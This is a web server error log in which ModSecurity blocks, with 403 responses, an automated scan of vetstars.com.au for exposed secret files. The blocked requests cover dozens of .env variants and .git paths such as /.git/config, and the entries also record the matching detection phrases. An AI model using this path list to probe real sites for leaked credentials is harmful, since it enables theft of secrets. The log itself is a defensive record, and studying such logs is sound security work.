[Sat Mar 21 00:01:24.713510 2026] [:error] [pid 38219:tid 38236] [client 172.68.195.206:12678] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.envrc"] [unique_id "ab1vVHLdNs2F_zXG7H8V9gAAAYY"]
[Sat Mar 21 00:01:24.798119 2026] [:error] [pid 38305:tid 38320] [client 172.69.151.137:13694] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.orig"] [unique_id "ab1vVHguiB3cZkKG6iJW7AAAAcg"]
[Sat Mar 21 00:01:25.293714 2026] [:error] [pid 38305:tid 38318] [client 172.69.151.138:14230] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "ab1vVXguiB3cZkKG6iJW8AAAAcY"]
[Sat Mar 21 00:01:25.559288 2026] [:error] [pid 38305:tid 38327] [client 172.69.150.13:9747] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "ab1vVXguiB3cZkKG6iJW8gAAAc8"]
[Sat Mar 21 00:01:25.845604 2026] [:error] [pid 51714:tid 51725] [client 172.68.195.207:9748] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "ab1vVTWI82pxvQ0gksvwgAAAAIk"]
[Sat Mar 21 00:01:25.856100 2026] [:error] [pid 38305:tid 38323] [client 172.69.150.13:9751] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.container"] [unique_id "ab1vVXguiB3cZkKG6iJW8wAAAcs"]
[Sat Mar 21 00:01:25.905797 2026] [:error] [pid 38305:tid 38315] [client 172.68.195.206:12722] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env"] [unique_id "ab1vVXguiB3cZkKG6iJW9AAAAcM"]
[Sat Mar 21 00:01:26.590342 2026] [:error] [pid 49080:tid 49097] [client 172.69.150.13:9756] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env.local"] [unique_id "ab1vVok5CHi4V0A3ttg5nQAAAEs"]
[Sat Mar 21 00:01:26.900775 2026] [:error] [pid 49170:tid 49192] [client 172.68.195.206:12725] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/srv/.env"] [unique_id "ab1vVs-c8ctLVDCqUJXGpgAAABI"]
[Sat Mar 21 00:01:26.941207 2026] [:error] [pid 38219:tid 38231] [client 172.69.151.138:14241] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "ab1vVnLdNs2F_zXG7H8V-AAAAYE"]
[Sat Mar 21 00:01:26.991923 2026] [:error] [pid 49080:tid 49086] [client 172.69.151.138:14233] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "ab1vVok5CHi4V0A3ttg5nwAAAEA"]
[Sat Mar 21 00:01:27.722600 2026] [:error] [pid 49170:tid 49190] [client 172.69.150.184:12257] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "ab1vV8-c8ctLVDCqUJXGqQAAABA"]
[Sat Mar 21 00:01:28.001948 2026] [:error] [pid 49080:tid 49105] [client 172.69.151.137:13701] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/www/.env"] [unique_id "ab1vWIk5CHi4V0A3ttg5oQAAAFM"]
[Sat Mar 21 00:01:28.032535 2026] [:error] [pid 49082:tid 49165] [client 172.69.151.137:13708] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/html/.env"] [unique_id "ab1vWKpllYJI1LUIdL8WrAAAAVc"]
[Sat Mar 21 00:01:28.075055 2026] [:error] [pid 49082:tid 49156] [client 172.68.195.207:9754] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/.env"] [unique_id "ab1vWKpllYJI1LUIdL8WrQAAAU4"]
[Sat Mar 21 00:01:29.117512 2026] [:error] [pid 38378:tid 38393] [client 172.69.150.12:14120] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_secret"] [unique_id "ab1vWVKb3npPsu9Iib2Y0wAAAgs"]
[Sat Mar 21 00:01:29.157191 2026] [:error] [pid 38378:tid 38395] [client 172.69.150.13:9759] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_config"] [unique_id "ab1vWVKb3npPsu9Iib2Y1AAAAg0"]
[Sat Mar 21 00:01:30.227282 2026] [:error] [pid 49080:tid 49104] [client 172.68.195.206:12731] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_settings"] [unique_id "ab1vWok5CHi4V0A3ttg5pAAAAFI"]
[Sat Mar 21 00:01:30.297486 2026] [:error] [pid 49081:tid 49136] [client 172.69.150.12:14127] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local.backup"] [unique_id "ab1vWho1LBAUhfhYPR2fXwAAARU"]
[Sat Mar 21 00:01:30.765627 2026] [:error] [pid 49081:tid 49115] [client 172.68.195.207:14129] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "ab1vWho1LBAUhfhYPR2fYQAAAQA"]
[Sat Mar 21 00:01:30.828963 2026] [:error] [pid 49080:tid 49090] [client 172.68.195.206:12568] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "ab1vWok5CHi4V0A3ttg5pgAAAEQ"]
[Sat Mar 21 00:01:31.263945 2026] [:error] [pid 49081:tid 49126] [client 172.69.151.137:13354] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/index"] [unique_id "ab1vWxo1LBAUhfhYPR2fYgAAAQs"]
[Sat Mar 21 00:01:31.334449 2026] [:error] [pid 49170:tid 49185] [client 172.69.150.13:9360] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/logs/HEAD"] [unique_id "ab1vW8-c8ctLVDCqUJXGsQAAAAs"]
[Sat Mar 21 00:01:31.797676 2026] [:error] [pid 49170:tid 49198] [client 172.69.150.184:11470] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/master"] [unique_id "ab1vW8-c8ctLVDCqUJXGtAAAABg"]
[Sat Mar 21 00:01:31.876007 2026] [:error] [pid 49170:tid 49191] [client 172.69.150.184:11474] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/main"] [unique_id "ab1vW8-c8ctLVDCqUJXGtQAAABE"]
[Sat Mar 21 00:01:32.330674 2026] [:error] [pid 49170:tid 49197] [client 172.69.150.184:11475] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "ab1vXM-c8ctLVDCqUJXGtgAAABc"]
[Sat Mar 21 00:01:32.410476 2026] [:error] [pid 49170:tid 49183] [client 172.69.151.138:9719] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "ab1vXM-c8ctLVDCqUJXGuAAAAAk"]
[Sat Mar 21 00:01:32.828763 2026] [:error] [pid 49080:tid 49094] [client 172.69.151.138:9721] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "ab1vXIk5CHi4V0A3ttg5qgAAAEg"]
[Sat Mar 21 00:01:32.942968 2026] [:error] [pid 49080:tid 49095] [client 172.68.195.206:12570] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "ab1vXIk5CHi4V0A3ttg5qwAAAEk"]
[Sat Mar 21 00:01:33.510938 2026] [:error] [pid 27302:tid 27317] [client 172.69.151.138:9727] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "ab1vXbDKiUve17xv6yGPNwAAAM0"]
[Sat Mar 21 00:01:34.080342 2026] [:error] [pid 38305:tid 38326] [client 172.69.150.184:10944] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "ab1vXnguiB3cZkKG6iJW-gAAAc4"]
[Sat Mar 21 00:01:34.647593 2026] [:error] [pid 38305:tid 38322] [client 172.68.195.207:14130] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "ab1vXnguiB3cZkKG6iJW_AAAAco"]
[Sat Mar 21 00:01:35.222081 2026] [:error] [pid 38305:tid 38321] [client 172.69.151.137:13360] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "ab1vX3guiB3cZkKG6iJW_wAAAck"]
[Sat Mar 21 00:01:35.754365 2026] [:error] [pid 27302:tid 27325] [client 172.69.151.138:9733] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "ab1vX7DKiUve17xv6yGPOAAAANU"]
[Sat Mar 21 00:01:36.290810 2026] [:error] [pid 49082:tid 49152] [client 172.69.150.13:13404] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "ab1vYKpllYJI1LUIdL8WsAAAAUo"]
[Sat Mar 21 00:01:45.370101 2026] [:error] [pid 49082:tid 49164] [client 172.69.150.184:12320] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "ab1vaapllYJI1LUIdL8WuQAAAVY"]
[Sat Mar 21 00:01:45.914577 2026] [:error] [pid 49082:tid 49163] [client 172.68.195.206:9760] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.local"] [unique_id "ab1vaapllYJI1LUIdL8WuwAAAVU"]
[Sat Mar 21 00:01:46.455052 2026] [:error] [pid 49082:tid 49159] [client 172.69.151.137:10670] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "ab1vaqpllYJI1LUIdL8WvQAAAVE"]
[Sat Mar 21 00:01:47.931092 2026] [:error] [pid 49082:tid 49143] [client 172.68.195.207:12344] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "ab1va6pllYJI1LUIdL8WwgAAAUE"]
[Sat Mar 21 00:01:47.959979 2026] [:error] [pid 49082:tid 49148] [client 172.68.195.206:9765] [client 172.68.195.206] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "ab1va6pllYJI1LUIdL8WwwAAAUY"]
[Sat Mar 21 00:01:48.469897 2026] [:error] [pid 49080:tid 49102] [client 172.69.151.137:10673] [client 172.69.151.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "ab1vbIk5CHi4V0A3ttg5vQAAAFA"]
[Sat Mar 21 00:01:48.493765 2026] [:error] [pid 38378:tid 38397] [client 172.69.150.184:12322] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "ab1vbFKb3npPsu9Iib2Y3AAAAg8"]
[Sat Mar 21 00:01:48.997982 2026] [:error] [pid 49082:tid 49155] [client 172.69.151.138:12511] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "ab1vbKpllYJI1LUIdL8WxwAAAU0"]
[Sat Mar 21 00:01:49.008159 2026] [:error] [pid 49082:tid 49144] [client 172.69.151.138:12516] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "ab1vbapllYJI1LUIdL8WyAAAAUI"]
[Sat Mar 21 00:01:49.496141 2026] [:error] [pid 49082:tid 49157] [client 172.68.195.207:12351] [client 172.68.195.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/private/.env"] [unique_id "ab1vbapllYJI1LUIdL8WywAAAU8"]
[Sat Mar 21 00:01:50.033058 2026] [:error] [pid 49080:tid 49091] [client 172.69.151.138:12524] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env.local"] [unique_id "ab1vbok5CHi4V0A3ttg5zgAAAEU"]
[Sat Mar 21 00:01:50.566711 2026] [:error] [pid 49082:tid 49165] [client 172.69.150.13:10933] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.php"] [unique_id "ab1vbqpllYJI1LUIdL8WzgAAAVc"]
[Sat Mar 21 00:01:51.110914 2026] [:error] [pid 49082:tid 49145] [client 172.69.151.138:14045] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "ab1vb6pllYJI1LUIdL8W0AAAAUM"]
[Sat Mar 21 00:01:51.765070 2026] [:error] [pid 38378:tid 38394] [client 172.69.150.12:13729] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "ab1vb1Kb3npPsu9Iib2Y4AAAAgw"]
[Sat Mar 21 00:01:52.275251 2026] [:error] [pid 49080:tid 49088] [client 172.69.150.12:13737] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "ab1vcIk5CHi4V0A3ttg53QAAAEI"]
[Sat Mar 21 00:01:52.774262 2026] [:error] [pid 49082:tid 49160] [client 172.69.151.138:14046] [client 172.69.151.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "ab1vcKpllYJI1LUIdL8W0gAAAVI"]
[Sat Mar 21 00:01:53.029017 2026] [:error] [pid 49082:tid 49144] [client 172.69.150.184:12326] [client 172.69.150.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "ab1vcapllYJI1LUIdL8W0wAAAUI"]
[Sat Mar 21 00:01:56.158634 2026] [:error] [pid 49170:tid 49190] [client 172.69.150.13:10183] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.bak"] [unique_id "ab1vdM-c8ctLVDCqUJXG2wAAABA"]
[Sat Mar 21 00:01:56.463694 2026] [:error] [pid 49170:tid 49187] [client 162.158.3.79:10273] [client 162.158.3.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "ab1vdM-c8ctLVDCqUJXG3AAAAA0"]
[Sat Mar 21 00:02:10.794644 2026] [:error] [pid 49170:tid 49190] [client 162.158.2.156:11530] [client 162.158.2.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env"] [unique_id "ab1vgs-c8ctLVDCqUJXG-QAAABA"]
[Sat Mar 21 00:02:14.922592 2026] [:error] [pid 38305:tid 38328] [client 162.158.3.91:11548] [client 162.158.3.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "ab1vhnguiB3cZkKG6iJXHgAAAdA"]
[Sat Mar 21 00:02:15.164022 2026] [:error] [pid 49080:tid 49098] [client 172.69.150.12:11890] [client 172.69.150.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/srv/.env"] [unique_id "ab1vh4k5CHi4V0A3ttg5-wAAAEw"]
